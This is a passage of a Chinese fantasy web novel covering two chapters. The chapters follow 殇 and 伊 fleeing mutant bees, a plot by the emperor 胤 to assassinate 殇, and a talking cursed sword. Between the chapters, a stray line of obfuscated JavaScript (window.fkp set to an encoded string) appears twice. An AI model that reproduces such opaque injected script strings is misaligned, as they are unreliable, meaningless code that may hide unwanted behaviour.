就在这个时候,伊回头看了一眼自己的身后,这一眼差点没给伊吓个半死。只见有人高的巨型蜜蜂成群结队地在植物园中觅食。它们长相恐怖,全身长着许多的诡异毛发,颚中长着许多白色的利齿,全身呈一种怪异的配色,它们的第一对前爪有着螳螂爪的模样,看起来令人胆寒。但是这些蜜蜂貌似不吃死物,这些巨型蜜蜂直接无视掉了那些倒在地上的受虐教教徒拼命地向着殇的方向逃跑。 在这些巨型蜜蜂之中,有着一只被镰刀切成两半的巨型蜜蜂,这时伊明白殇那时攻击的目标不是自己,而是这只巨型蜜蜂。这时,伊跑的速度实在是跟不上殇的速度了,突然间,伊一个不小心摔倒在了地上。在摔在地上后,她的小腿被某个不知名物体切开了一个小口子,鲜血顿时从她的伤口中流了出来。 伊: “(本能)哎呦!(忍痛)嘶~疼!” 殇: “伊.....你可真是能给我添堵啊。” 伊: “(愧疚)抱歉,一个不小心......” 这时殇看了看正在靠近的蜜蜂大军,他顾不得那么多了。 殇: “(着急)没时间听你墨迹了!” 伊: “(忍痛)知道了......我现在就站起来。” 殇: “(急切)来不及了!我背你跑!” 殇一把背起伊,接着向着前方不远处的树林冲刺。虽然背着个人,但是殇的速度依旧是健步如飞,他很快就与那群蜜蜂拉开了差距。这时,伊出于好奇又回头看了一眼身后,这一眼令伊感到了无比惊讶。只见一朵粉色的巨大花苞靠着身后生长着如同抓钩一样的荆棘根茎托起庞大的身体使其悬浮在空中,同时这个巨大的花苞正用那如同抓钩一样的触须一步步地向着那些蜜蜂追去。这时,正好有一个瘸了一条腿蜜蜂被这个花苞追上,只见这个花苞张开花瓣露出了内部那张三瓣大嘴,借着一口吞下这个有人大的巨型蜜蜂。眼前的景象可以用不可思议来形容,这景象完全刷新了伊对大自然的理解。原来是蜜蜂采集鲜花中花蜜,现在是鲜花采集蜜蜂。此刻,殇也回头看了一眼,在见到这么大的怪花之后,殇意味深长地说: “卧槽!” 伊: “(难以置信)殇,这......” 殇: “(震惊)这他娘的时代变了啊。以前还是蜂采花,现在是花采蜂了啊!什么鬼啊?!” 就在这时,之前最先晕倒的那个受虐教教徒醒了过来,他用手摸了摸后脑勺,轻轻地摇了摇头。 教徒: “(疑惑)奇怪?发生什么事?我怎么晕过去了?” 他左右来回看了看,当他看向自己右手边的景象时,他傻眼了。只见一朵变异了的巨大怪花正对着他,似乎是在看着他。他整个人都懵了,他用手扇了一下自己的脸,他发现这不是做梦。在思考了片刻之后,他重新躺下了。他双眼一闭,假装被吓死了。这朵怪花见到他倒下后转头继续去追那些小蜜蜂去了。这时殇已经跑到了树林之中,而且找了个隐秘的角落躲了起来。殇将背上的伊放在了一棵树旁,让伊靠在树上。殇简单检查了一下伊腿上的伤口,这个伤口很特殊,貌似是某种刀具切开的伤口,所幸伤口不深,没伤及骨头。这时,殇发现了异样。伊的这身衣服是龙辉神匠的顶级奇点材料支撑的,常规武器根本没法伤其分毫,除非是阿里凯弥亚公司同为奇点材料所制成的武器才能有效地破坏这身衣服。很明显,伊一定是摔在了什么特别锋利的东西上。 殇: “伊,你摔在了什么东西上?” 伊: “(忍着痛)不知道。好像是刀片......又好像是石头。” 殇简单地处理了一下伊的伤口,并帮她止住了血。殇走到了一颗大树的旁边偷偷地观察,他发现这些巨型蜜蜂的目标并不是自己和伊,而是躲避那个巨大的花苞。借此机会,殇偷偷扫描了一下这些巨型蜜蜂和远处的大花苞,他获得了一份有关于这两种奇异生物的介绍。就如他猜测的一样,这两种奇异生物均为EcL。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第七话:身负使命 此刻,在太玄国的皇宫之中。所有人都在忙碌于每日应做的工作,没有一个人是闲着的。今天本是很平常的一天,不过一封来自太玄国中央情报部的邮件打破了今日的平静。 邮件中: “殿下,我们通过埋伏在碧蓝世界之中的间谍弄到了一份很特殊的情报,情报中明确表明殇国王在天堂岛的一个植物园中,而且他的身旁跟着一个在通缉令上的重要通缉目标伊。现在殇国王已经失去所有记忆,而且他现在肉身与灵魂已经分离,但是他貌似还保留了一大部分实力。他试着完成永生......我们有机会去除掉殇这个最大的威胁。请殿下您做好充足的准备。” 看到这封邮件,太玄国的皇帝很是震惊,他一直以为殇王国的国王是因为腐朽才隐居起来而不出面参加所有国家大事的,想不到事实竟是如此。太玄国皇帝一直计划找机会给予殇王国致命的打击让其一蹶不振好能结束殇王国的统治权,由此来让太玄国领导各附属国走向富强,但是迫于殇国王和肃清者的威胁,他一直没办法在明暗中实施这个计划,现在时机已经成熟。对于他来说,现在是要除掉了国王殇这个首要威胁,太玄国与殇王国的实力就彻底持平了。为此,他必须除掉殇的灵魂。这为的不是太玄国自己的利益,而是整个世界的利益。 太玄国皇帝胤: “(激动)终于,终于有机会了。只要完成了这个计划,我就能破除殇王国所制定的规定!那些生活在痛苦中的底层人民就可以享受到真正平等的权力。(深情)国王殇,抱歉了。你虽是曾经拯救我们的英雄,但是你所做的错事已经将那些无辜之人送向了地府。为了拯救底层的所有人......只能牺牲你这位混蛋英雄了。” 随后,太玄国皇帝单独把情报部的部长约了出来,他们两个探讨了很久。最后他们决定在暗中处理掉殇,并且为了掩人耳目而不被肃清者等殇王国势力发现,他们决定派出三位没有特殊职位的战士以外交的理由偷偷偷渡到天堂岛上去执行处死殇的任务。在人员选择的方面,由太玄国皇帝选拔。太玄国皇帝优先排除了太玄国军队之中的将军,因为如果调动他们会引起殇王国的注意,毕竟现在殇王国的眼线哪里都有。太玄国皇帝怎么选都有顾虑......最后他想到了龙凤卫。他们的行踪只有他知道,所以他不用担心被殇王国的眼线发现。太玄国皇帝想了一下,为了确保足够隐蔽,他必须在二人之中做出选择,不能两个都去,又不能两个都不去。 太玄国皇帝胤: “(纠结)到底是让墨子邵去还是让轩去呢?这两个我都舍不得啊......但是为了改变腐朽,必须有一个去执行这项任务。墨子邵和轩都是跟随我多年的战士,都是我的心头肉啊。但是迫于形势,他们两个之中必须有人去执行这项任务。” 太玄国皇帝深思了许久,最后他还是做出了选择。在午休后的那段时间中,太玄国皇帝偷偷找到了墨子邵,并约他去观云阁商讨要事。墨子邵自然是答应了,他与胤一起来到了观云阁。观云阁之上,方是皇宫之巅,即为城中观云山之地。坐在观云阁中,胤端来一壶茶水,接着倒了两杯茶。胤示意墨子邵坐下,然后他坐在茶桌旁与墨子邵开始喝茶。 太玄国皇帝: “(客气)墨子邵,请。” 墨子邵: “(客气)不,您先请。” 太玄国皇帝喝了一口茶,墨子邵也喝了一口茶。 墨子邵: “殿下,请问你找来有何事啊?” 太玄国皇帝: “(叹了口气)哎......墨子邵,现在局势出现转机了。” 墨子邵: “转机?转机是什么?” 太玄国皇帝: “我们现在掌握了有关国王殇情况的情报,现在的他十分虚弱,肉魂分离。肉在王座之间,魂在天堂岛禁区。” 墨子邵: “(惊讶)啊?怎么回事?” 太玄国皇帝: “具体详情我也不知道,但是准确情报已经传到我手。” 墨子邵: “那现在.......我们应该如何行动呢?殿下。” 太玄国皇帝: “这就是我找你来的缘由。” 墨子邵的眼神之中有一丝惊讶,但很快这惊讶就变成了坚毅。太玄国皇帝拿起茶杯喝了一口茶,墨子邵也跟着拿起茶杯喝了一口茶。两人的表情没有多大变化,但两人的心理却发生了一丝微妙的变化。 墨子邵: “所以,殿下您的意思是.......” 太玄国皇帝: “没错。” 墨子邵的眼神十分坚定,他似乎做好了心理准备。 墨子邵: “(严肃)何时出发,殿下?” 太玄国皇帝: “(笑)哈哈哈......墨子邵,先别着急。再陪我喝一会茶。” 太玄国皇帝拿起茶杯喝了一小口茶,接着他又给自己和墨子邵倒了点茶水。 墨子邵: “好,殿下。” 太玄国皇帝: “墨子邵,你我两人都是男人,男人之间的思维是贯通的。我能猜出你在想什么,你也能猜出我在想什么。知道我为什么叫你来吗?” 墨子邵: “知道,殿下。因为现在皇宫上下能去执行这项任务的人,唯我无他。” 太玄国皇帝: “(笑)哈哈哈......对!但不完全对。你少说了一个点,这个点才是决定你去的关键。” 墨子邵: “这个点是什么?” 太玄国皇帝: “(笑)嘿嘿......饮茶先。” 太玄国皇帝和墨子邵两人一起喝了一口茶,这次没有先后顺序。 太玄国皇帝: “华龙之国宫廷上下文武双全,唯独龙凤当头也可作刃。龙凤之盾,方庇皇安。你是我身边唯有的两个最忠诚的部下中的一个,也是我最信任的两个人中的一个。最主要的是,你们两个都是提灯的人。这种任务必须由提灯的人来去执行才可保证不被暗中的阴影所觅见。再强大的人,也会有失手的时候。而你们,不会失手,但会失败。” 墨子邵: “所以......(突然醒悟)我明白殿下您的意思了。” 太玄国皇帝: “你,亦是凤。轩,亦是龙。你们是我身边最好的盾,也是最好的剑。” 太玄国拿起茶杯喝了一口茶。 太玄国皇帝: “你们可以称得上是我的左膀右臂,你们救过我许多次,我八辈子的命都低不了你们的功绩。你们也救过很多人很多次,你们是这个国家的英雄。如今,改变的机会来了。你们两人之中必要有一人前去执行这个任务。虽然我不保证执行者是否能生还,计划成功之后是否会立马改变这个世界。但......我选择希望。” 墨子邵: “殿下,您的意思我已知晓。吾方便在此问您一个问题吗?” 太玄国皇帝: “方便,怎么不方便。(笑)我的命可在你手里许多次了。请讲吧。” 墨子邵: “如果我战死了,你能帮我完成一个愿望吗?” 太玄国皇帝: “可以。” 墨子邵: “请将我葬在麦田之中。” 太玄国皇帝: “墨子邵,这样不太好吧......” 墨子邵: “没必要立个墓碑,更没必要告诉别人我葬在那里。我的生命是国家给的,我也不奢求国家给我什么了。我只想......死了也可以为国家做些贡献。” 太玄国皇帝: “好......好。好!你是条好汉!” 墨子邵: “殿下,我还有个请求。” 太玄国皇帝: “说!尽管说!今天你要什么,我都给你!” 墨子邵: “就让我一人来执行这个任务吧。轩的身体状况不好,她没办法控制自己体内的力量。我怕她成为怪物......就让她留在你身边吧,你身边不能没有守卫保护。” 太玄国皇帝: “好!正巧我也是这样想的。” 墨子邵: “你能暂时别把这事告诉别人吗?尤其是轩。” 太玄国皇帝: “行。(好奇)为何呢?” 墨子邵: “轩她很傻,而且很固执。如果她知道了此事,她无论如何都会跟我一同前往。这样我所担心的事必然会发生!(恳求)所以请您帮我保密一段时间吧。到时候就说......我去东玲国调查天灾动向去了。” 太玄国皇帝: “行。(举起茶杯)来,墨子邵。饮茶。” 墨子邵: “好。殿下。” 太玄国皇帝和墨子邵拿起茶杯一口喝光了茶杯里的茶,两人的眼神之中有着对对方的不舍。 太玄国皇帝: “我安排一下人,你下午就走。” 墨子邵: “明白,殿下。” 太玄国皇帝: “(严肃)墨子邵。” 墨子邵: “怎么了,殿下?” 太玄国皇帝: “(严肃)到了天堂岛之后注意安全,一定要小心行事。如果实在是杀不掉他,那你就给我回来。听到没有!” 墨子邵: “遵命,殿下。” 太玄国皇帝: “记住,任务可以失败,我们还有重来的机会。但......你小子也机灵点。要是真的做不到,那就回来从长计议。别一股脑的去送死!” 墨子邵: “这点殿下可以放心。” 太玄国皇帝: “好!有你这句话,我就安心了。” 太玄国皇帝和墨子邵喝了一会茶。在茶会结束后,太玄国皇帝去着手制定去天堂岛的计划,而墨子邵则在皇宫中待命。在墨子邵站岗巡逻的时候,他迎面碰到了前来找他的轩。 轩: “墨子邵!(疑惑)你去哪里了?我在吃完饭后就再也没看到你。” 墨子邵: “(淡然)哦。我去跟殿下去观云阁喝了会茶聊了聊天。” 轩: “哦。喝的什么茶啊?” 墨子邵: “红茶吧......” 轩: “(微笑)对了,墨子邵。你喜欢喝茶吗?” 墨子邵: “还算喜欢。” 轩: “(有点脸红)我这里有点我种的茶叶,你.......想要一点吗?” 墨子邵: “(思考了一秒)你种的啊......什么茶的茶叶?” 轩: “茉莉花茶。” 轩满怀期待地看着墨子邵,她很期待墨子邵的回答。 墨子邵: “(微笑)行吧。给我来点也行,正好我还没喝过茉莉花茶。” 轩: “(微笑)那好,到时候我给你送过去。” 这时,轩脸上的微笑突然消失,想必她已经知道了墨子邵即将前去调查天灾的事情。 轩: “墨子邵,听说你要去东玲国调查天灾的动向了,是吗?” 墨子邵: “没错。今天下午就走。” 轩: “(担心)就你......一个吗?” 墨子邵: “不,还有几个在东玲国接应我的战士。” 轩: “(担心)这次行动危险吗?” 墨子邵: “(自信)不危险,只是去观察动向,又不是跟天灾干架。” 轩: “哦,原来如此。(坚定)那我也去!” 墨子邵: “不行。你走了,谁来保护皇帝。” 轩: “(有些失落)也对......我走了,就没人保护皇上了。” 墨子邵能看出轩心中担忧,他明白轩这个老搭档担心他的安全。为了缓解轩的担忧,墨子邵决定撒一个谎。 墨子邵: “(自信地笑)不用担心的!我去哪里几天就回来。而且我去哪无非是当当保安,对付对付那些狂妄自大的都市猎人。他们的实力不足挂齿,我可以打一百个!” 轩: “(笑)真的?” 墨子邵: “(自信)我还能骗你不成?” 轩: “(有些担心)那你还是得小心,不能太过自信。毕竟意料之外的危险很容易出现。” 墨子邵: “明白了。” 这时,轩的眼睛突然变成了红色。她看着墨子邵,她突然看到了一些特殊的东西。许多交错的景象如放映影片一样出现她的眼前,其中许多都是墨子邵在天堂岛战斗的景象。 轩: “嗯?” 墨子邵: “怎么了?” 轩: “(怀疑)你......是不是在骗我?” 墨子邵: “(微笑)作为与你一同奋战多年的战友,我怎么可能会骗你呢?” 轩没说话,只是盯着墨子邵的眼睛。看到轩这个注视自己,墨子邵有些心虚,但是他并没有表现出心虚的样子。 轩: “(怀疑)你......说的都是实话?你真的是去东玲国调查天灾的动向吗?” 墨子邵知道这是个谎言,但是为了她着想,他只好说出谎言欺骗她。 墨子邵: “(自然地笑)当然了。殿下下达的命令,我难道还不去执行吗?说没骗你就没骗你,我这么诚实的人你也不相信吗?” 轩: “(微笑).......当......当然了。我肯定相信你。你一定不会骗我的,对吧?” 墨子邵: “(自然地笑)那肯定啊!” 轩心里: “他.......真的没骗我吗?为什么我能看到他去天堂岛战斗的景象呢?是错觉......还是即将发生的事实?好担心他啊.......” 在回到房间收拾行李的时候,墨子邵看了看他屋子里一直放着的一把独特匕首,他想了想,又走到近前看了看。昔日的荣光还映照在它的刀锋上,似乎它还是昨日战场上利刃。 墨子邵: “(深情)这是李将军佩刀,是他收养我时送给我的第一把兵器。它救了我许多次,也陪了我走过了许多困难的时光。据说,它也救了李将军很多条命。(轻轻触摸刀锋)这么多年了,还利着呢。想当初,这把刀可是切断过钢索啊。” 墨子邵看向了一旁李将军与他年轻刚成军人时的合照。合照里的李将军虽是满头白发,但当年的霸气丝毫未减。墨子邵的脸上露出笑容,他看着这张合照回想起了过去,那时的生活还没有像现在一样忙碌。 墨子邵: “(意志坚定)李将军,现在使命已经降到了我身上了。我一定不会让您失望的,我要向您与其他英雄们一样为国为人民取得胜利,不负人民与你对我的恩惠与期望。” 墨子邵拿走了那把匕首,他将这把匕首别在腰间,准备到时候用匕首做些事情。这时,轩拿着一小包茶叶推门走了进来。 轩: “墨子邵.......收拾东西呢。” 墨子邵: “嗯。你怎么来了?” 轩: “你忘了?我是来给你送茶叶的。” 墨子邵: “哦......哦!想起来。瞧我这记性,我怎么把这事给忘了呢。” 轩: “(微笑)没关系。(把一小包茶叶递给墨子邵)给,你要的茶叶。” 墨子邵: “(接过茶叶)谢谢。” 轩笑了,她的脸有些泛红。 墨子邵: “别站着啊,找个地方坐,别见外。” 轩: “(微笑)好。” 轩坐在了墨子邵客厅的沙发上,她看着墨子邵,偷偷摸了摸口袋里带着的小礼物,她的脸又红了一些。墨子邵在将必要的东西都放进背包里后回到了客厅,墨子邵刚回到客厅时看到轩后好奇地问了一句: “(好奇)轩,你怎么脸红了?” 轩刚刚正在思考事情,听墨子邵这么突然一问,她有些慌张。 轩: “(有些慌张)没......没什么!夏天了吗,屋子里有点热.......对,有点热。” 墨子邵: “哦。我还以为你感冒了呢。等着,我去给你开下空调。” 轩: “(有些紧张)哦。谢......谢谢......” 墨子邵打开了屋内的空调,屋内的气温很快降了下来。在空调的冷风吹拂下,轩很快就冷静下来了。墨子邵在开了空调之后回到了客厅,他坐在了轩的旁边。 墨子邵: “轩。这下还热吗?” 轩: “(有些紧张)不......不热了。” 墨子邵: “(疑惑)你说话怎么磕巴了?” 轩: “(故作镇定)没什么,我也不知道为什么就突然磕巴了。” 墨子邵: “下午我就要去执行任务了。轩,你能答应我一件事吗?” 轩: “什么事?” 墨子邵: “在我走之后就剩你一人保护皇帝了。你要保护好皇帝的安全,不负期望。行吗?” 轩: “行!我答应你。” 墨子邵: “注意安全,保护好大家和你自己。” 轩: “好!” 墨子邵看了看时间,现在距离出发还有一个半小时。这时,轩偷偷从口袋里拿出了她准备送给墨子邵的小礼物。她将那份礼物紧紧地握在手里,她想把礼物当面送给墨子邵,但是她没有那个勇气。她的内心十分矛盾与纠结,她的大脑正在飞快运转,她想到了墨子邵看到这个礼物时的各种反应,她也想到了墨子邵会拒绝这份礼物的可能。 轩心里: “振作一点,轩。现在不是犹豫的时候!准备都准备了,怎么到这个时候就放弃呢!勇敢一点,主动一点,开口说吧.......他会接受我的礼物吗?万一他不要怎么办?该怎么说好呢?” 在一旁的墨子邵注意到了轩的异样,他很好奇,但是他并没有开口去问。过了一小段时间后,轩终于鼓起勇气率先开口了。 轩: “(十分紧张)墨......墨子邵!” 墨子邵: “怎么了?” 轩脸红了,她的手有些颤抖。在片刻的犹豫后,她对着墨子邵张开了手,向墨子邵展示了她手心中的礼物。这是一个有着鱼模样的白玉吊坠,做工十分精致。吊坠的绳是用的红绳,看起来有种吉祥的寓意。见到这个吊坠,墨子邵的表情很是惊讶,因为他已经猜出这个吊坠是送给他的了。 轩: “(十分紧张)墨子邵。这个......这个是我做的!好看吗?送......送给你了。” 墨子邵: “(惊喜)这是你做的?” 轩: “(十分紧张)对,是我做的。好看吗?” 轩的眼神之中满是期待,为了这个小小的吊坠,她苦学了三个月雕刻手艺。她现在既激动又害怕,她很怕墨子邵会拒绝她的礼物。 墨子邵: “(微笑)挺好看的。你真的要把它送给我吗?” 轩: “(点点头)嗯。” 墨子邵: “(高兴)那我就收下了。谢谢你的礼物,轩。” 轩: “(有些不好意思)不......不用谢。” 墨子邵: “(好奇)对了,轩。我看你这个吊坠用的是红绳。它有什么寓意吗?” 轩: “(有些紧张)寓意.......有!它代表了吉祥,能保佑远行者凯旋。” 墨子邵: “(笑)那我可得随身带着了。感谢你的祝福,轩。” 轩: “(不好意思)嗯.......” 到了下午,墨子邵带着装备与三名士兵走到了皇宫的大门口。墨子邵回头看了看身后的皇宫,也许此行之后他便不再归来,前路上所面对的敌人未知,但使命在身,他必须毅然前行。过了一会,世界之行(world tour)公司的飞行器降落在了皇宫的门口。随着飞行器后仓门的打开,几个身穿机动战甲手持电磁步枪的士兵从飞行器上走下。wt机动队的士兵拿着电磁步枪侦查了一下周围的环境,在确认没有危险后在地面上放下了指示器。指示器在地面上用红光标注了一块长方形的区域,在这片区域里写着登机区三个大字。 wt机动队士兵: “飞行器已就位,随时准备起飞。请相关人员在登机区准备接受检查。” 墨子邵: “到时候了,该走了。” 墨子邵和跟随他的三名士兵走到了登机区中。 wt机动队士兵: “(激活手臂上的扫描器)让我扫描一下,很快的,不会浪费你们时间的。” 墨子邵: “好。” 此时在皇宫大殿之上,太玄国皇帝和轩等臣众正目送墨子邵离开。所有人表现得都不是那么担心,除了太玄国皇帝和轩。太玄国皇帝知道墨子邵这一行将九死一生,因为他的敌人是失去了肉体但仍保留一部分肌肉记忆的殇。他年轻时曾是跟随殇一起与殖民者战斗的战士,他见过殇战斗时的样子,更清楚殇的实力。虽然时过境迁,但是殇的实力容不容小觑。轩从心里担心墨子邵的安全,因为她的知觉告诉她墨子邵将面对的不是容易对付的存在。 轩心里: “(担心)一定要小心啊,墨子邵。” 轩拿起自己胸前佩戴着的吊坠看了看,她的心中满是担忧。这个吊坠的样式与送墨子邵那个一模一样,看样子轩有什么特别用意。 在扫描完成后,墨子邵和跟随他的三名士兵登上了前往天堂岛的飞行器。wt机动队士兵回收了指示器,然后再次侦查了一下周围确认是否安全,最后回到了飞行器上。 wt·AIV(高级智能飞行器): “(电子音)第二协议已激活,郝尔曼规则认证完成,飞行器即刻起飞。” 随着飞行器助推器喷出了幽蓝色的火焰,整个飞行器以极快地速度离开了地表,来到了安全飞行层(据地65米到100米),接着飞行器全速向着目的地飞去。望着渐渐消失在余辉之中的飞行器,太玄国皇帝叹了一口气。 几个小时前...... 就在伊靠在大树旁睡着了的时候,突然她感到怀中一阵阴凉,那种感觉仿佛是她贴在了什么金属制品上。伊缓缓睁开眼睛往下一看,她惊奇地发现一把造型怪异的剑就静静地躺在她的怀里。这把剑的造型很是奇怪,剑刃上有着一个眼睛,而且刀刃呈灰黑色,刀锋呈橙色。见到这把剑的时候,伊被吓了一跳,她连忙把怀里的剑扔了出去,并且站了起来。那把剑似乎有生命,在被伊丢出去后,这把剑说话了。 剑: “混蛋。你干嘛?没看我睡得好好的吗?” 听到这把剑说话,伊十分震惊,这是她见过的第一把会说话的剑。伊看了看周围,她发现殇正在远处的树上坐着放哨,于是她唤醒了她头上的“蝴蝶结”,想问问流光蝶影。 流光蝶影: “(微笑)中午好啊!伊。怎么了?” 伊: “小蝶,你知道地上那把会说话的剑吗?” 流光蝶影: “(飞到了那把剑旁边打量了一番)哦,让我看看。嗯......是它!我知道它,它是个坏家伙!” 这把剑听到流光蝶影这么说,立马从地面上飞了起来,并睁开他剑刃上的眼睛狠狠地瞪着流光蝶影。见到这把剑这样,流光蝶影吓得躲到了伊的身后。 剑: “(生气)说谁坏呢?!信不信老子劈了你!” 伊: “先别生气。请问一下,你能先告诉你是谁吗?” 剑: “(温柔)主人~我是你最得力的助手,我叫诅咒之刃~是这世界上第二锋利的剑哦。以后,我就是你最信赖的朋友了。” 伊: “诅......诅咒之刃?” 流光蝶影: “别信那个怀家伙!它害死了许多的人!” 诅咒之刃: “你懂什么?!还不是他们非得碰我找死吗。我都说了别碰我,他们非得碰!有招么?” 伊: “先别这么凶,有话好好说。” 诅咒之刃: “(温柔)好的呢。” 此刻在树上放哨的殇听到了伊那边的说话声,殇以为出了什么事,于是他从树上跳下来走向了伊那边。流光蝶影见到殇来了,立马飞到伊头上变成了蝴蝶结。在走到近前后,殇看到了这把浮空而且会说话的剑。 殇: “(疑惑)这是个什么奇怪的东西?会飞的剑?” 诅咒之刃看了看殇,然后立马飞到了伊的身旁。 诅咒之刃: “主人,他是谁?是敌人吗?用不用我杀了他?” 伊: “不,他是我的朋友,是保护我的人。” 诅咒之刃: “哦~你把他辞退了吧,我来守护你就行。” 殇: “(不愿意)喂喂喂,你这把油嘴滑舌的剑说什么呢?把我辞退了?我是她雇的保安是吗?你把我当啥了?” 诅咒之刃: “(好奇)不是吗?” 殇: “我靠。你知不知道规矩啊?她是我的人,一切都我说了算。” 诅咒之刃: “啥?你认真的?就你这个样......无情、无理、全身散发着蔑视生命的气息。你就是个刽子手,就是那些割肾的都市清道夫!” 殇: “(生气)傻屌!你再骂?” 伊: “殇,别生气。” 殇: “(装作无事)我不生气,反正这家伙就是一把无情的嘴臭剑。他还能从我什么把你抢走不成?开玩笑。” 诅咒之刃: “主人,你说,你是要我还是要他?” 伊: “(难堪)啊?这......我要他,不要你。” 听到这话,诅咒之刃顿了一下,然后飞到伊的身前开始哭。 诅咒之刃: “(哭)主人~你不能抛弃我啊。你怎么能跟那个坏家伙呢?你不能不要我啊!” 见到这把剑哭了,伊有些心软了。 伊: “殇,这......” 殇: “哭,哭你妈!你这把铁石心肠的剑还会哭?这眼泪怕不是骗人的哦。” 伊: “(有些心软)殇,要不......” 殇: “等它告诉它是怎么来的,以及有什么功能我再考虑考虑。” 伊用手轻轻抚摸了一下诅咒之刃的剑格,诅咒之刃停止哭泣抬头看这样伊。 伊: “(温柔地说)乖,你跟殇好好说一下你是怎么来的以及你有什么特殊作用,殇就考虑让你跟着我们。好吗?” 诅咒之刃: “(点点头)好。” 诅咒之刃飞到了殇的身前,殇在近距离仔细观察了一下诅咒之刃,他似乎想起了什么,他好像从哪里见过这把剑,而且好像还使用过这把剑。 诅咒之刃: “(愧疚)对不起,殇。我不该那样说你的。” 殇: “(消气)好好好,我接受你这把剑的道歉。但你先跟我说一下你是从哪来的,以及你有什么特殊作用?我能看出来你是EcL。” 诅咒之刃: “(愧疚)事情......是这样的......” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第八话:植物园大火 诅咒之刃: “我曾是神匠从黑森林与炼金师一同打造的高等硅基核心生物,通俗来说就是一把会说话的剑。由于制造我的材料是黑森林中最强大的金属‘命运’打造的,再加上我本身的锋利程度远超一切兵器,守望者和制造我的人在天宗用我毁掉了一尊神像,由此让我获得了永世无法摆脱的诅咒。(难过)我也得名于诅咒之刃,从此被打入冷宫很长时间......” 伊: “(怜悯)好可怜呐......” 殇: “怪不得你叫诅咒之刃......但是你明明只是一把剑!为什么要叫做刃呢?” 诅咒之刃: “听我继续说......后来,我又在天宗被一群蛇人进行了改造,最后我被变成了一尊石像。但好在后来我被当做一个收藏品从神匠手中买到了当时的大英雄国王殇手上,就在我到他手上之后,我的生活就发生改变了。” 伊转头偷偷看了一眼殇,然后转过头来看着诅咒之刃。 殇: “合着你这半辈子就是个石雕对吗?那你可太悲催了。” 诅咒之刃: “在到了殇手上之后,在一次意外之中,他在触摸我的时候不小心被刀锋刮破了手,之后我就活了过来,重新拥有了活力。(高兴)我那时非常高兴,我感觉我好想有了一个归宿,我也是有家的剑了。他见到我比我还高兴,也许是他从未见过我这种会飞会说话的剑。后来,我就成了他卧室里的独特展品,也是他偶尔练剑时的玩伴,也可以说是他用来练习的那把剑。” 殇: “我可能猜到你是怎么找到伊的了。可能是伊她太倒霉了,摔在了你这把倒霉剑上了。” 诅咒之刃: “在我的印象之中,我最后一次见到他是在天堂岛的度假村大堂的门口。他那时拿着我,把我放在他在大厅的雕像上,再然后他不知道对我说了些什么,然后我就重新变回了石像。等我再醒来了的时候,我在土里待着,我被埋了半截,刀锋上有着一个人的血液。我的直觉告诉我这血液的主人就是我新的主人,于是我就找到了那位漂亮的白发小姐姐。” 殇: “哦,原来如此。” 伊: “想不到,这么巧......” 诅咒之刃: “(恳求)所以,主人你千万不能抛弃我啊!我不想在变成石像了!求求你了......” 伊看了看殇的脸色,她看得出殇的脸上还有疑问,所以她什么也没说。 殇: “先别着急求她,你还没告诉我你有什么作用呢。” 诅咒之刃: “作用......用!例如我会说话、我会侦查、我打不死可以当肉盾。我还可以......陪你们聊聊天!” 殇: “(有些不难烦)喂,我在问你这把剑有什么特殊属性。例如像炎火流光(一把武士刀的名字)那样可以把人烧成灰烬的特殊属性。” 诅咒之刃: “有是有.......(担心)可是......” 殇: “(不耐烦)说!别墨迹。” 诅咒之刃: “(庄严)我不是所有武器里最强的,但我一定是最锋利的。我的攻击每次都会翻倍,但是有个代价。那就是获得诅咒,惹怒众神。你砍得次数越多,伤害越高,但是你所收到的伤害也会增高,直到你崴个脚就能把你崴死。怎么样?这就是我的特殊之处。” 殇: “你这也太操蛋了。倒挺符合你这名字的,诅咒......之刃。(思考)而且吧,你这说辞,我竟有点印象。似乎曾经有人跟我说过你这把剑的事......” 伊: “(担忧)那我以后岂不是就不能碰你了?” 诅咒之刃: “放心主人!只要你不用我去杀人,心中没有杀意,你怎么摸我都行。” 伊: “(微笑)那好吧。” 诅咒之刃: “(笑)我不是人,你不用见外。” 伊: “(脸红加震惊)......?你......你在说什么?” 诅咒之刃: “(笑)别想歪,主人。我指的是我的剑柄。我喜欢被我手持,因为这样可以重新体验曾经被当做武器的感觉。” 殇: “(疑惑)诶,伊,你他妈怎么脸红了?” 伊: “(不好意思)没......没事。我只是......有点热,没关系的。” 殇: “(坏笑)是不是‘骚话剑’说的话让你明白什么了?我看你好像很懂诶。” 伊: “(害羞)别说了!殇。懂......懂什么?你别乱说!我......我只是......哼!你真讨厌!” 诅咒之刃: “(笑)诶呦,主人你生气啦。消消气,消消气。我知道主人你是最好的啦,你不会因为这点小事就生气的。” 伊: “(微笑)你这把剑嘴真甜。好吧,好吧。听你的,我不生气了。” 诅咒之刃: “好耶!” 殇: “(笑)呵呵呵呵.......年轻真好啊。真怀念那个时候......” 殇看着诅咒之刃的样子,又想了想诅咒之刃介绍自己时的话,他的脑中浮现出了这把剑曾经的样子。他想起了这把剑,只不过记忆仍是模糊。 殇: “(猜测)我是不是曾经见过你这把剑?看到你有种似曾相识的感觉,仿佛就在昨日。” 诅咒之刃: “你我之前见过吗?我怎么没有印象。” 殇: “我还记得你有个别称,叫做小咒刀。” 诅咒之刃: “(惊讶)你......你!你竟然知道我的这个称呼!你到底是谁?” 殇: “我忘了我是谁,我只知道我叫殇。” 诅咒之刃: “殇......国王殇吗?只有他知道,只有他会这么叫我......而且这个称呼还是他给我起的。那么你是国王殇吗?” 殇: “(坦然)也许是.......也许不是。从现在已有的证据来看,我应该是,但又不完全是。伊昨天晚上吃饭的时候跟我讲过这个事.......管他呢,乐是就是,不是拉到。国王也好,暴徒也罢,是个有血有肉的人就行。” 小咒刀: “(高兴)那太好了!这下我有两个主人了!” 殇: 